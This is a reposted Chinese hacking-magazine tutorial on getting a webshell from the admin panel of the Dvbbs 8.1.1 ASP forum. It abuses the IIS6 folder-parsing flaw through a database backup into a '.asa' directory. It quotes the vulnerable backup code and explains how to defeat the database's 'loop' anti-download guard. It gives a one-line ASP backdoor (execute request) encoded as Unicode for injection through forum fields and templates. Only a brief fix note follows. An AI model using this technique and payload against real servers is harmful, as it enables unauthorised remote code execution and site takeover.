动网8.1.1版后台获取webshell

鬼仔注:跟这篇文章最终原理差不多。都是利用IIS6的目录缺陷。

来源:红狼

文章已发表于《黑客手册》0802期

动网8.1.1版后台获取webshell
图/文
Cool_wXd
动网论坛可以说的国内ASP论坛界的老大了,在原来的很多版本中,都出现了不同的漏洞,而且获取webshell也是挺容易的,但是到了8.1.1版本的时候,获取webshell变得异常的艰难,前一段时间爆出了可以在boke中添加上传PHP的类型,这个在服务器可以解析PHP的条件下是可以的!在8.0版本是数据库的路径是可以修改的,那个时候可以通过上传修改成txt格式的数据库文件和木马文件的捆绑!但是到了8.1.1版本以后,数据库是不允许修改的了,今天下午在红狼的论坛里看到有朋友在研究后台获取webshell的方法,于是我也研究了一下,也就得出了今天这个方法!
首先,怎么获取后台管理员账号和密码这里我们就不提了,我们直接进入后台,在备份数据库和恢复数据库中,我们看到数据库的路径已经修改不了了,如图


我们来看看源码,在admin/data.asp中已经<!–#include file =../conn.asp–> 而且数据库路经设置是:Dbpath="../"&db,已经是直接从conn.asp的配置文件中获取了用户所设置的路径,所以我们改这个是不可能的了,那么我们就想起了win2003下,iis6的缺陷也就是.asp的文件夹会按照ASP文件方式被执行,所以我们将目录修改成../Databackup.asp

但是返回的结果却是保存数据库名不合法,必须是有效的MDB文件和文件夹目录!我们还是看源码,还是在admin/data.asp中,行621开始的updata函数:
sub updata()

'On error resume next

Dim FileConnStr,Fileconn

Dim Tempbackpath

Dbpath="../"&db

‘获取数据库路径

'Dbpath=Replace(request.Form("Dbpath"),chr(0),"")

Dbpath=Server.mappath(Dbpath)

bkfolder=Replace(request.Form("bkfolder"),chr(0),"")

‘备份的目录

bkdbname=Replace(request.Form("bkdbname"),chr(0),"")

‘备份的名称

Tempbackpath = bkfolder& "/"& bkdbname
‘将目录和名称两个字符串连接

Rem Add By Dv.唧唧.Net 2007-10-15

If InStr(Lcase(Tempbackpath),".asp")>0 Or InStr(Lcase(Tempbackpath),".aspx")>0 Or InStr(Lcase(Tempbackpath),".php")>0 Then
‘判断字符串

response.write "保存数据库名不合法,必须是有效的MDB文件和文件夹目录!"

Response.End

Exit Sub

End If

If Lcase(Mid(Tempbackpath,instrRev(Tempbackpath,".")+1))<>"mdb" Then

response.write "保存数据库名不合法,必须是有效的MDB文件!"

Response.End

Exit Sub

End If
‘判断后缀为mdb
我们看到在判断备份目录和备份文件名称时,对字符串中的ASP,ASPX,PHP都做了限制,不过我们知道,ASP和ASA用的都是一个解析器,在理论上创建.asa文件夹也应该是可以被执行的,好,按照这个思路我们试着备份一下,将将目录修改成../Databackup.asa,并选备份,返回的是备份数据库成功,您备份的数据库路径为../Databackup.asa/databack200712311207_65542.mdb,如图

备份通过,所以此时我们的任务就是寻找论坛可以利用的地方,将我们的一句话木马插入到数据库中,然后备份。不过还有一个前提就是IIS版本要求为IIS6 的,由于我的机器是XP系统,安装的是IIS5.1的,我就在网上找了一个2003的,首先我们确定IIS版本,在服务器信息探测中显示如图

版本确定以后我们就寻找可以插入木马的地方吧,但是说到插马,我们的问题也就又出现了,因为在数据库中DV_notdownload段中的notdown内容为3C25206C6F6F70203C25,也就是ASP语句中的<% loop <%,我们要想让我们的ASP木马能够正常执行,首先一个前提就是闭合<% loop <%,关于这个技术,我们参照邪恶八进制中平安年间的文章《如何突破数据库Loop防下载实例》(地址:https://forum.eviloctal.com/read-htm-tid-29824.html,这篇文章也发表于<<黑客手册>>2007年第六期,文章版权属于黑客手册。),这里我们再多说一遍原理,为了闭合<% loop <%,我们要在数据库中寻找合适的位置插入"<%'"和":%>"来构造出<%'<% loop <%:%>的结构,以此将loop的防下载给过滤掉。但是在我测试过程中发现,由于数据库的所包含数据量的不同,在备份出来的数据库中不能形成固定的插入位置把loop防下载过滤掉,但是当我们把数据库下载回来并保存为ASP格式以后,可以通过winhex等16进制编辑器来确定<% loop <%所在的位置,并查找出<% loop <%前后的数据内容,按照顺序来进行"<%'"和":%>"的插入,

并把一句话木马插在注释语句的前面,这样我们的一句话木马才算是插入成功的。在我现在检测的网站上,经过多次的测试,终于得到了想要的效果,大家看我演示就好了。这里找好了一个地方,就是个性圈子管理中(其实其他地方也是可以的,我也是慢慢试出来的,这里我用这个地方演示),然后按照如图方式添加一个圈子,在圈子名称处,写入:┼攠數畣整爠煥敵瑳∨∣┩愾┼砧(“┼攠數畣整爠煥敵瑳∨∣┩愾┼砧”就是<% execute request("#")%>a<%'x”转换成Unicode字符以后的结果。)

然后再模板管理处中的添加/编辑自定义标签,我们对login标签进行修改:

在模板_主体标记部分前面添加┠砾(“┠砾”就是%>x转换成Unicode字符以后的结果。),这样我们不仅将<% loop <%注释掉了,同时也将我们一句话木马写入了注释的前面,接下来就是笨份数据库,生成以.asa为文件夹的数据库路径了,这里就不截图了,我们直接运行这个文件,如图所示

没有出现%>不闭合的现象,同时也证明了我们的一句话木马正确地插入了!接下来就是一句话木马连接了


不过这种插入数据库的方法不见得在每一个论坛上都是通用的,朋友们需要通过对数据库前后内容进行分析才可以进行插马的,不过这个方法在获取webshell 上确实是成立的,希望朋友们能好好测试一下。我想这篇文章写到这里已经算是结束了,但是在利用上也是利用了IIS6的缺陷和动网在生成目录上过滤不严格导致的!至于这个漏洞的修复,只需将
If InStr(Lcase(Tempbackpath),".asp")>0 Or InStr(Lcase(Tempbackpath),".aspx")>0 Or InStr(Lcase(Tempbackpath),".php")>0 Then
中继续添加其他的由于IIS6缺陷所造成的执行错误!好的,文章就写到这里了,如果大家有什么疑问可以和我联系,我的QQ:15872896.

相关日志

楼被抢了 2 层了... 抢座Rss 2.0或者 Trackback

发表评论